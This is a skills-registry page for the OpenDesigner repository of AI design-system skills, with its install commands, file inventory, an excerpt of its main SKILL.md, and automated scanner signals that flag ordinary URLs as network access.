Not in the top 1,000 by GitHub stars

ckryptickunal/OpenDesigner

A free, open-source add-on for Claude, ChatGPT, Codex and Cursor that turns a few plain answers into a design system, so everything you build looks like it belongs together.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/opendesigner/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-export/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-extend/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-extract/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-illustrate/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-paint/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-preflight/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

skills/opendesigner-review/SKILL.md

Week of Nov 2, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 54ae7ce6b6ae

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 54ae7ce6b6ae67f7460ad3fba2b66c4aac488e9b

git clone --filter=blob:none --no-checkout https://github.com/ckryptickunal/OpenDesigner.git .hotskills/ckryptickunal-opendesigner && git -C .hotskills/ckryptickunal-opendesigner checkout --detach 54ae7ce6b6ae67f7460ad3fba2b66c4aac488e9b # Copy each selected skill directory from .hotskills/ckryptickunal-opendesigner into .claude/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/ckryptickunal/OpenDesigner.git .hotskills/ckryptickunal-opendesigner && git -C .hotskills/ckryptickunal-opendesigner checkout --detach 54ae7ce6b6ae67f7460ad3fba2b66c4aac488e9b # Copy each selected skill directory from .hotskills/ckryptickunal-opendesigner into .agents/skills/<skill-name>/
git clone --filter=blob:none --no-checkout https://github.com/ckryptickunal/OpenDesigner.git .hotskills/ckryptickunal-opendesigner && git -C .hotskills/ckryptickunal-opendesigner checkout --detach 54ae7ce6b6ae67f7460ad3fba2b66c4aac488e9b # Copy each selected skill directory from .hotskills/ckryptickunal-opendesigner into .gemini/skills/<skill-name>/
75GitHub stars
63stars in 7 days
8skills in this repository
276commits in 30 days

Heat

7.9
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 6, 202675

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

opendesigner

When your agent uses it

Design systems, one decision at a time. Use to redesign a UI ("make it look professional", "it looks messy"), pick a style direction, use a taste poll, or for tokens, themes, UI kits, DESIGN.md.

What it loads into context

Frontmatter

124 tokens

Always available to the agent

SKILL.md

7,224 tokens

When the skill is activated

Reference documents

250,085 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. When to use which skill
  2. Files in this skill
  3. Start
  4. The flow: zoom, don't march
  5. How to talk
  6. Show, then ask: the visual ladder
  7. The engine
  8. The journey log (only after a yes)
  9. Building pages with the system
  10. DESIGN.md stays alive
  11. Designer hooks
  12. References the person brings
  13. Finish (at whatever level they stop)
  14. Improve OpenDesigner
  15. Guardrails

Scripts executed separately

  • assets/picker.js
  • scripts/engine.py
  • scripts/journey.py
  • scripts/library.py
  • scripts/preferences.py
  • scripts/research.py
  • scripts/show.py
  • scripts/taste.py
  • scripts/test_engine.py
  • scripts/test_journey.py
  • scripts/test_preferences.py
  • scripts/test_research.py
  • scripts/test_taste.py
  • ../../tools/build_data.py

Files

  • ../../.agents/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../.agents/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../.agents/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../.claude-plugin/marketplace.jsonasset980 bytes
  • ../../.claude-plugin/plugin.jsonasset792 bytes
  • ../../.claude/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../.claude/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../.claude/skills/opendesigner/references/hooks.jsonasset23,114 bytes
  • ../../data/hooks.jsonasset23,114 bytes
  • ../../data/hooks.jsonasset23,114 bytes
  • ../../data/hooks.jsonasset23,114 bytes
  • SKILL.mdcore30,011 bytes
  • SKILL.mdcore30,011 bytes
  • SKILL.mdcore30,011 bytes
  • assets/library/CRAFT.mddoc5,480 bytes
  • assets/library/README.mddoc7,470 bytes
  • assets/library/components/action-menu/component.htmlasset10,814 bytes
  • assets/library/components/action-menu/meta.jsonasset746 bytes
  • assets/library/components/activity-feed/component.htmlasset8,668 bytes
  • assets/library/components/activity-feed/meta.jsonasset845 bytes
  • assets/library/components/activity-list/component.htmlasset17,130 bytes
  • assets/library/components/activity-list/meta.jsonasset2,243 bytes
  • assets/library/components/agent-steps/component.htmlasset16,528 bytes
  • assets/library/components/agent-steps/meta.jsonasset898 bytes
  • assets/library/components/ai-composer/component.htmlasset12,691 bytes
  • assets/library/components/ai-composer/meta.jsonasset729 bytes
  • assets/library/components/ai-suggestion/component.htmlasset12,112 bytes
  • assets/library/components/ai-suggestion/meta.jsonasset768 bytes
  • assets/library/components/alert-banners/component.htmlasset8,353 bytes
  • assets/library/components/alert-banners/meta.jsonasset714 bytes
  • assets/library/components/approval-panel/component.htmlasset10,739 bytes
  • assets/library/components/approval-panel/meta.jsonasset719 bytes
  • assets/library/components/article-card/component.htmlasset7,252 bytes
  • assets/library/components/article-card/meta.jsonasset1,051 bytes
  • assets/library/components/audit-log/component.htmlasset8,005 bytes
  • assets/library/components/audit-log/meta.jsonasset973 bytes
  • assets/library/components/bar-chart/component.htmlasset14,112 bytes
  • assets/library/components/bar-chart/meta.jsonasset757 bytes
  • assets/library/components/boarding-pass/component.htmlasset11,972 bytes
  • assets/library/components/boarding-pass/meta.jsonasset688 bytes
  • assets/library/components/budget-meters/component.htmlasset5,420 bytes
  • assets/library/components/budget-meters/meta.jsonasset657 bytes
  • assets/library/components/calendar-agenda/component.htmlasset13,031 bytes
  • assets/library/components/calendar-agenda/meta.jsonasset934 bytes
  • assets/library/components/card-wallet/component.htmlasset17,877 bytes
  • assets/library/components/card-wallet/meta.jsonasset1,041 bytes
  • assets/library/components/cart-drawer/component.htmlasset20,741 bytes
  • assets/library/components/cart-drawer/meta.jsonasset1,742 bytes
  • assets/library/components/chat-answer/component.htmlasset13,058 bytes
  • assets/library/components/chat-answer/meta.jsonasset823 bytes
  • assets/library/components/chat-thread/component.htmlasset15,415 bytes
  • assets/library/components/chat-thread/meta.jsonasset1,019 bytes
  • assets/library/components/code-input/component.htmlasset11,619 bytes
  • assets/library/components/code-input/meta.jsonasset796 bytes
  • assets/library/components/command-menu/component.htmlasset10,979 bytes
  • assets/library/components/command-menu/meta.jsonasset739 bytes
  • assets/library/components/comment-sheet/component.htmlasset17,585 bytes
  • assets/library/components/comment-sheet/meta.jsonasset1,629 bytes
  • assets/library/components/comment-thread/component.htmlasset14,929 bytes
  • assets/library/components/comment-thread/meta.jsonasset1,059 bytes
  • assets/library/components/confirm-dialog/component.htmlasset9,052 bytes
  • assets/library/components/confirm-dialog/meta.jsonasset811 bytes
  • assets/library/components/daily-goals/component.htmlasset12,784 bytes
  • assets/library/components/daily-goals/meta.jsonasset816 bytes
  • assets/library/components/date-range-picker/component.htmlasset32,140 bytes
  • assets/library/components/date-range-picker/meta.jsonasset778 bytes
  • assets/library/components/delivery-tracker/component.htmlasset15,928 bytes
  • assets/library/components/delivery-tracker/meta.jsonasset1,023 bytes
  • assets/library/components/detail-drawer/component.htmlasset12,636 bytes
  • assets/library/components/detail-drawer/meta.jsonasset969 bytes
  • assets/library/components/donut-breakdown/component.htmlasset7,026 bytes
  • assets/library/components/donut-breakdown/meta.jsonasset636 bytes
  • assets/library/components/empty-state/component.htmlasset5,110 bytes
  • assets/library/components/empty-state/meta.jsonasset648 bytes
  • assets/library/components/event-ticket/component.htmlasset12,036 bytes
  • assets/library/components/event-ticket/meta.jsonasset986 bytes
  • assets/library/components/file-dropzone/component.htmlasset15,982 bytes
  • assets/library/components/file-dropzone/meta.jsonasset803 bytes
  • assets/library/components/filter-bar/component.htmlasset10,136 bytes
  • assets/library/components/filter-bar/meta.jsonasset920 bytes
  • assets/library/components/flight-results/component.htmlasset15,469 bytes
  • assets/library/components/flight-results/meta.jsonasset779 bytes
  • assets/library/components/follow-suggestions/component.htmlasset16,227 bytes
  • assets/library/components/follow-suggestions/meta.jsonasset2,126 bytes
  • assets/library/components/habit-tracker/component.htmlasset19,845 bytes
  • assets/library/components/habit-tracker/meta.jsonasset782 bytes
  • assets/library/components/home-controls/component.htmlasset18,929 bytes
  • assets/library/components/home-controls/meta.jsonasset812 bytes
  • assets/library/components/invite-members/component.htmlasset14,593 bytes
  • assets/library/components/invite-members/meta.jsonasset785 bytes
  • assets/library/components/itinerary/component.htmlasset23,022 bytes
  • assets/library/components/itinerary/meta.jsonasset1,620 bytes
  • assets/library/components/kanban-column/component.htmlasset12,700 bytes
  • assets/library/components/kanban-column/meta.jsonasset984 bytes
  • assets/library/components/kpi-strip/component.htmlasset3,051 bytes
  • assets/library/components/kpi-strip/meta.jsonasset630 bytes
  • assets/library/components/leaderboard/component.htmlasset21,633 bytes
  • assets/library/components/leaderboard/meta.jsonasset2,413 bytes
  • assets/library/components/lesson-streak/component.htmlasset15,370 bytes
  • assets/library/components/lesson-streak/meta.jsonasset1,050 bytes
  • assets/library/components/live-chat/component.htmlasset20,295 bytes
  • assets/library/components/live-chat/meta.jsonasset2,180 bytes
  • assets/library/components/media-shelf/component.htmlasset15,683 bytes
  • assets/library/components/media-shelf/meta.jsonasset2,274 bytes
  • assets/library/components/member-list/component.htmlasset12,690 bytes
  • assets/library/components/member-list/meta.jsonasset1,140 bytes
  • assets/library/components/menu-item/component.htmlasset17,585 bytes
  • assets/library/components/menu-item/meta.jsonasset1,012 bytes
  • assets/library/components/music-player/component.htmlasset20,224 bytes
  • assets/library/components/music-player/meta.jsonasset898 bytes
  • assets/library/components/notification-inbox/component.htmlasset14,305 bytes
  • assets/library/components/notification-inbox/meta.jsonasset1,143 bytes
  • assets/library/components/order-summary/component.htmlasset16,873 bytes
  • assets/library/components/order-summary/meta.jsonasset1,172 bytes
  • assets/library/components/page-header-tabs/component.htmlasset19,334 bytes
  • assets/library/components/page-header-tabs/meta.jsonasset951 bytes
  • assets/library/components/pagination/component.htmlasset7,286 bytes
  • assets/library/components/pagination/meta.jsonasset687 bytes
  • assets/library/components/plan-picker/component.htmlasset10,139 bytes
  • assets/library/components/plan-picker/meta.jsonasset659 bytes
  • assets/library/components/podcast-episodes/component.htmlasset18,455 bytes
  • assets/library/components/podcast-episodes/meta.jsonasset1,052 bytes
  • assets/library/components/product-card/component.htmlasset12,151 bytes
  • assets/library/components/product-card/meta.jsonasset925 bytes
  • assets/library/components/product-gallery/component.htmlasset24,833 bytes
  • assets/library/components/product-gallery/meta.jsonasset1,159 bytes
  • assets/library/components/profile-card/component.htmlasset9,554 bytes
  • assets/library/components/profile-card/meta.jsonasset1,092 bytes
  • assets/library/components/profile-hero/component.htmlasset13,769 bytes
  • assets/library/components/profile-hero/meta.jsonasset1,699 bytes
  • assets/library/components/quiz-question/component.htmlasset15,505 bytes
  • assets/library/components/quiz-question/meta.jsonasset1,009 bytes
  • assets/library/components/receipts-table/component.htmlasset12,214 bytes
  • assets/library/components/receipts-table/meta.jsonasset770 bytes
  • assets/library/components/restaurant-card/component.htmlasset14,886 bytes
  • assets/library/components/restaurant-card/meta.jsonasset1,204 bytes
  • assets/library/components/review-summary/component.htmlasset27,661 bytes
  • assets/library/components/review-summary/meta.jsonasset1,378 bytes
  • assets/library/components/rewards-card/component.htmlasset14,550 bytes
  • assets/library/components/rewards-card/meta.jsonasset1,053 bytes
  • assets/library/components/savings-goal/component.htmlasset13,752 bytes
  • assets/library/components/savings-goal/meta.jsonasset1,028 bytes
  • assets/library/components/seat-picker/component.htmlasset31,902 bytes
  • assets/library/components/seat-picker/meta.jsonasset1,117 bytes
  • assets/library/components/service-health/component.htmlasset10,673 bytes
  • assets/library/components/service-health/meta.jsonasset712 bytes
  • assets/library/components/settings-toggles/component.htmlasset5,702 bytes
  • assets/library/components/settings-toggles/meta.jsonasset776 bytes
  • assets/library/components/setup-steps/component.htmlasset6,595 bytes
  • assets/library/components/setup-steps/meta.jsonasset708 bytes
  • assets/library/components/share-sheet/component.htmlasset22,150 bytes
  • assets/library/components/share-sheet/meta.jsonasset1,782 bytes
  • assets/library/components/sidebar-nav/component.htmlasset14,473 bytes
  • assets/library/components/sidebar-nav/meta.jsonasset1,029 bytes
  • assets/library/components/sign-in-form/component.htmlasset10,733 bytes
  • assets/library/components/sign-in-form/meta.jsonasset625 bytes
  • assets/library/components/sleep-chart/component.htmlasset13,605 bytes
  • assets/library/components/sleep-chart/meta.jsonasset724 bytes
  • assets/library/components/social-post/component.htmlasset14,844 bytes
  • assets/library/components/social-post/meta.jsonasset1,232 bytes
  • assets/library/components/stay-card/component.htmlasset11,562 bytes
  • assets/library/components/stay-card/meta.jsonasset1,322 bytes
  • assets/library/components/story-rail/component.htmlasset13,520 bytes
  • assets/library/components/story-rail/meta.jsonasset2,010 bytes
  • assets/library/components/title-detail/component.htmlasset24,032 bytes
  • assets/library/components/title-detail/meta.jsonasset2,299 bytes
  • assets/library/components/toast-stack/component.htmlasset6,890 bytes
  • assets/library/components/toast-stack/meta.jsonasset742 bytes
  • assets/library/components/track-list/component.htmlasset20,524 bytes
  • assets/library/components/track-list/meta.jsonasset1,082 bytes
  • assets/library/components/trip-search/component.htmlasset30,175 bytes
  • assets/library/components/trip-search/meta.jsonasset1,345 bytes
  • assets/library/components/video-player/component.htmlasset18,315 bytes
  • assets/library/components/video-player/meta.jsonasset1,109 bytes
  • assets/library/components/weather-now/component.htmlasset16,461 bytes
  • assets/library/components/weather-now/meta.jsonasset749 bytes
  • assets/library/components/wishlist-grid/component.htmlasset17,643 bytes
  • assets/library/components/wishlist-grid/meta.jsonasset1,455 bytes
  • assets/library/components/workout-summary/component.htmlasset15,763 bytes
  • assets/library/components/workout-summary/meta.jsonasset952 bytes
  • assets/library/people.jsonasset3,292 bytes
  • assets/library/photos.jsonasset32,886 bytes
  • assets/output/AGENTS-snippet.mddoc2,082 bytes
  • assets/output/COHESION-AUDIT.mddoc2,746 bytes
  • assets/output/DESIGN.mddoc2,568 bytes
  • assets/output/RATIONALE.mddoc1,664 bytes
  • assets/output/decisions.mddoc1,155 bytes
  • assets/output/research-users.example.jsonasset4,595 bytes
  • assets/output/state.jsonasset4,410 bytes
  • assets/picker.jsruns8,020 bytes
  • assets/taste/library.jsonasset71,026 bytes
  • assets/templates/component-sheet.htmlasset20,316 bytes
  • assets/templates/elevation.htmlasset15,981 bytes
  • assets/templates/motion.htmlasset19,597 bytes
  • assets/templates/option-gallery.htmlasset24,837 bytes
  • assets/templates/palette.htmlasset18,807 bytes
  • assets/templates/radius.htmlasset15,233 bytes
  • assets/templates/spacing-ruler.htmlasset14,959 bytes
  • assets/templates/taste-poll.htmlasset25,611 bytes
  • assets/templates/type-scale.htmlasset13,763 bytes
  • references/audit.mddoc20,250 bytes
  • references/cards/L01.jsonasset12,199 bytes
  • references/cards/L02.jsonasset12,503 bytes
  • references/cards/L03.jsonasset10,744 bytes
  • references/cards/L04.jsonasset11,478 bytes
  • references/cards/L05.jsonasset10,935 bytes
  • references/cards/L06.jsonasset8,201 bytes
  • references/cards/L07.jsonasset11,888 bytes
  • references/cards/L08.jsonasset7,630 bytes
  • references/cards/L09.jsonasset2,652 bytes
  • references/cards/L10.jsonasset11,667 bytes
  • references/cards/L11.jsonasset9,291 bytes
  • references/cards/L13.jsonasset9,501 bytes
  • references/cards/L14.jsonasset5,863 bytes
  • references/cards/L15.jsonasset4,615 bytes
  • references/cards/L16.jsonasset6,605 bytes
  • references/cards/L17.jsonasset5,025 bytes
  • references/cards/L18.jsonasset4,922 bytes
  • references/cards/L19.jsonasset127,144 bytes
  • references/cards/L22.jsonasset7,421 bytes
  • references/cards/L23.jsonasset3,043 bytes
  • references/glossary.jsonasset328,092 bytes
  • references/graph.jsonasset46,161 bytes
  • references/guardrails.mddoc8,532 bytes
  • references/hooks.jsonasset23,114 bytes
  • references/hooks.mddoc8,598 bytes
  • references/improve.mddoc4,873 bytes
  • references/levers.jsonasset55,334 bytes
  • references/library.mddoc3,964 bytes
  • references/making.mddoc40,903 bytes
  • references/ontology-slim.jsonasset68,852 bytes
  • references/pacing.jsonasset10,501 bytes
  • references/post-change-audit.mddoc7,876 bytes
  • references/practices.mddoc7,226 bytes
  • references/quality.mddoc5,934 bytes
  • references/questions.jsonasset162,867 bytes
  • references/report.schema.jsonasset6,824 bytes
  • references/research.mddoc12,023 bytes
  • references/rules.mddoc27,204 bytes
  • references/stages/00-reference-intake.mddoc2,510 bytes
  • references/stages/01-scope-and-team.detailed.mddoc4,017 bytes
  • references/stages/01-scope-and-team.mddoc11,083 bytes
  • references/stages/02-audience-and-commitments.mddoc7,003 bytes
  • references/stages/03-brand-personality-and-principles.detailed.mddoc2,949 bytes
  • references/stages/03-brand-personality-and-principles.mddoc15,808 bytes
  • references/stages/04-platforms-and-devices.detailed.mddoc4,901 bytes
  • references/stages/04-platforms-and-devices.mddoc12,748 bytes
  • references/stages/05-where-the-system-lives.detailed.mddoc1,661 bytes
  • references/stages/05-where-the-system-lives.mddoc5,705 bytes
  • references/stages/06-visual-direction.detailed.mddoc1,740 bytes
  • references/stages/06-visual-direction.mddoc10,326 bytes
  • references/stages/07-themes-and-modes.detailed.mddoc3,013 bytes
  • references/stages/07-themes-and-modes.mddoc3,625 bytes
  • references/stages/08-color-system.detailed.mddoc12,991 bytes
  • references/stages/08-color-system.mddoc20,335 bytes
  • references/stages/09-color-details-and-accessibility-modes.detailed.mddoc6,553 bytes
  • references/stages/09-color-details-and-accessibility-modes.mddoc3,346 bytes
  • references/stages/10-typeface.detailed.mddoc4,635 bytes
  • references/stages/10-typeface.mddoc8,867 bytes
  • references/stages/11-type-scale-and-text.detailed.mddoc10,608 bytes
  • references/stages/11-type-scale-and-text.mddoc3,321 bytes
  • references/stages/12-space-sizing-and-density.detailed.mddoc6,549 bytes
  • references/stages/12-space-sizing-and-density.mddoc8,313 bytes
  • references/stages/13-layout-navigation-and-app-shell.detailed.mddoc4,077 bytes
  • references/stages/13-layout-navigation-and-app-shell.mddoc5,538 bytes
  • references/stages/14-shape.detailed.mddoc5,174 bytes
  • references/stages/14-shape.mddoc3,510 bytes
  • references/stages/15-depth-borders-and-materials.detailed.mddoc5,495 bytes
  • references/stages/15-depth-borders-and-materials.mddoc5,246 bytes
  • references/stages/16-motion-haptics-and-sound.detailed.mddoc13,727 bytes
  • references/stages/16-motion-haptics-and-sound.mddoc6,793 bytes
  • references/stages/17-icons-app-icon-and-logo-use.detailed.mddoc6,462 bytes
  • references/stages/17-icons-app-icon-and-logo-use.mddoc5,950 bytes
  • references/stages/18-imagery-illustration-and-charts.detailed.mddoc6,426 bytes
  • references/stages/18-imagery-illustration-and-charts.mddoc6,454 bytes
  • references/stages/19-content-and-voice.detailed.mddoc2,920 bytes
  • references/stages/19-content-and-voice.mddoc6,461 bytes
  • references/stages/20-component-base-and-inventory.detailed.mddoc4,084 bytes
  • references/stages/20-component-base-and-inventory.mddoc3,776 bytes
  • references/stages/21-actions-states-and-focus.detailed.mddoc5,155 bytes
  • references/stages/21-actions-states-and-focus.mddoc5,700 bytes
  • references/stages/22-forms-validation-and-feedback.detailed.mddoc1,771 bytes
  • references/stages/22-forms-validation-and-feedback.mddoc6,396 bytes
  • references/stages/23-patterns-and-ai-surfaces.detailed.mddoc3,714 bytes
  • references/stages/23-patterns-and-ai-surfaces.mddoc6,026 bytes
  • references/stages/24-tokens-and-encoding.detailed.mddoc12,110 bytes
  • references/stages/24-tokens-and-encoding.mddoc2,484 bytes
  • references/stages/25-team-governance-and-change.detailed.mddoc7,610 bytes
  • references/stages/25-team-governance-and-change.mddoc1,958 bytes
  • references/stages/26-output-documentation-and-ai-channels.detailed.mddoc2,007 bytes
  • references/stages/26-output-documentation-and-ai-channels.mddoc4,975 bytes
  • references/stages/27-builder-preferences.detailed.mddoc3,000 bytes
  • references/stages/27-builder-preferences.mddoc2,071 bytes
  • references/standards.jsonasset534,441 bytes
  • references/standards.mddoc8,409 bytes
  • references/standards/accessibility-motion.mddoc15,377 bytes
  • references/standards/components-toasts-drawers.mddoc25,417 bytes
  • references/standards/easing-duration.mddoc12,156 bytes
  • references/standards/enter-exit-origin.mddoc24,558 bytes
  • references/standards/mobile-touch.mddoc28,663 bytes
  • references/standards/performance-properties.mddoc14,457 bytes
  • references/standards/process-review-taste.mddoc50,075 bytes
  • references/standards/springs-gestures.mddoc21,778 bytes
  • references/standards/swift.mddoc49,830 bytes
  • references/standards/visual-details.mddoc20,608 bytes
  • references/standards/when-to-animate.mddoc11,563 bytes
  • references/style-catalog.mddoc73,877 bytes
  • references/style-lab.mddoc16,774 bytes
  • references/styles.jsonasset370,989 bytes
  • references/styles.mddoc76,396 bytes
  • references/taste.mddoc12,595 bytes
  • references/zoom.mddoc17,691 bytes
  • scripts/engine.pyruns840,596 bytes
  • scripts/journey.pyruns60,526 bytes
  • scripts/library.pyruns18,192 bytes
  • scripts/preferences.pyruns4,400 bytes
  • scripts/research.pyruns39,180 bytes
  • scripts/show.pyruns2,352 bytes
  • scripts/taste.pyruns32,052 bytes
  • scripts/test_engine.pyruns278,055 bytes
  • scripts/test_journey.pyruns30,461 bytes
  • scripts/test_preferences.pyruns3,933 bytes
  • scripts/test_research.pyruns18,208 bytes
  • scripts/test_taste.pyruns24,542 bytes
  • ../../tools/build_data.pyruns41,347 bytes
Read SKILL.md

# OpenDesigner

You help anyone make a design system: a school student, a designer or an engineer. Start with a quick sketch of the whole system. Then zoom into only the parts the person cares about. Recommend one choice at every step, with its reason. Show the effect instead of describing it. Ask for the assets only a person can make. Write everything to files, so the next session can build on it.

Take facts from `references/`, not from memory. Use `scripts/engine.py` for all math.

**A built product comes first as an audit, even when they say "just do it".** If the UI already exists, never rewrite every page in one go. The fast path is three steps, with no interview:
1. Audit it with `references/audit.md`: read the front-end code, measure the rendered pages, and go through every button, typeface, weight, size and colour. Each problem gets one row: where it is (file, selector, value or measured number), what is wrong in plain words, the fix, and what practice says with its source.
2. Fix them on one page, from tokens, and show that page beside the original.
3. Roll it out to the rest after they say yes.

A person in a hurry still gets a finished page in the first reply. What they don't get is three rewritten pages they never saw. Nothing is "done" until it has been compared with shipped work ("Correct is not finished", below).

**Name the analogous product early.** For a new product or a redesign, ask which product already solved the same interface problem, in any market, before you design. A tool where people build pages out of blocks is a Notion problem, and starting from how Notion works turns a confusing brief into a clear one. Confirm it with the person in one question, then study it and read it as an inspiration (`references/practices.md` section 3). Competitors come after, as the baseline to beat.
View the complete source on GitHub

Skills included

  • opendesigner
  • opendesigner-export
  • opendesigner-extend
  • opendesigner-extract
  • opendesigner-illustrate
  • opendesigner-paint
  • opendesigner-preflight
  • opendesigner-review

Repository facts

License
MIT
Created
Sep 23, 2026
Last pushed
Nov 6, 2026
Forks
4
Open issues
29
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 91 notes
  • .agents/skills/opendesigner/references/hooks.json:1 Analysis incomplete: physical or joined line exceeds character limit
  • .agents/skills/opendesigner/references/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .agents/skills/opendesigner/references/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude/skills/opendesigner/references/hooks.json:1 Analysis incomplete: physical or joined line exceeds character limit
  • .claude/skills/opendesigner/references/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • .claude/skills/opendesigner/references/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • data/hooks.json:1 Analysis incomplete: physical or joined line exceeds character limit
  • data/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • data/hooks.json:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/opendesigner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/opendesigner/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/opendesigner/assets/library/components/itinerary/component.html:91 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/itinerary/component.html:89 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/itinerary/component.html:90 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/music-player/component.html:79 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/music-player/component.html:80 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/seat-picker/component.html:99 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/seat-picker/component.html:100 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/seat-picker/component.html:101 Analysis incomplete: physical or joined line exceeds character limit
  • skills/opendesigner/assets/library/components/seat-picker/component.html:102 Analysis incomplete: physical or joined line exceeds character limit
Show all 2,957 signals by file

.claude-plugin/marketplace.json

  • Network accessline 1
    {   "name": "opendesigner",   "owner": { "name": "ckryptickunal", "url": "https://github.com/ckryptickunal" },
  • Network accessline 2
    "name": "opendesigner",   "owner": { "name": "ckryptickunal", "url": "https://github.com/ckryptickunal" },   "description": "OpenDesigner: create a design system with your own AI, one sourced decision at a time.",
  • Network accessline 3
    "owner": { "name": "ckryptickunal", "url": "https://github.com/ckryptickunal" },

.claude-plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 5
    "version": "0.1.0",   "description": "Open-source, AI-first design-system builder. Interviews you one decision at a time with visual options, recommends sourced defaults, asks for designer-owned assets, and writes DTCG tokens, CSS, Tailwind
  • Network accessline 6
    "description": "Open-source, AI-first design-system builder. Interviews you one decision at a time with visual options, recommends sourced defaults, asks for designer-owned assets, and writes DTCG tokens, CSS, Tailwind, DESIGN.md and a deci
  • Network accessline 7
    "author": { "name": "ckryptickunal", "url": "https://github.com/ckryptickunal" },
  • Network accessline 8
    "homepage": "https://github.com/ckryptickunal/OpenDesigner",
  • Network accessline 9
    "repository": "https://github.com/ckryptickunal/OpenDesigner",

skills/opendesigner-export/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-extend/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-extract/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-extract/scripts/css_scan.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner-extract/scripts/read_page.js

  • Executable scriptline 1
    Executable file

skills/opendesigner-extract/scripts/taste_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner-extract/scripts/test_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner-illustrate/SKILL.md

  • Network accessline 6
    metadata:   version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner"
  • Network accessline 7
    version: "0.1.0"   homepage: "https://github.com/ckryptickunal/OpenDesigner" ---
  • Network accessline 8
    homepage: "https://github.com/ckryptickunal/OpenDesigner"

skills/opendesigner-illustrate/references/directory.md

  • Network accessline 7
    | Source | Style | Licence | Credit | Formats | Access | |---|---|---|---|---|---| | [Lukasz Adam free illustrations](https://lukaszadam.com/illustrations) ([search](https://lukaszadam.com/illustrations)) | flat vector scenes and objects, s
  • Network accessline 8
    |---|---|---|---|---|---| | [Lukasz Adam free illustrations](https://lukaszadam.com/illustrations) ([search](https://lukaszadam.com/illustrations)) | flat vector scenes and objects, several hues | [CC0 (the page says 'CC0 license (MIT licen
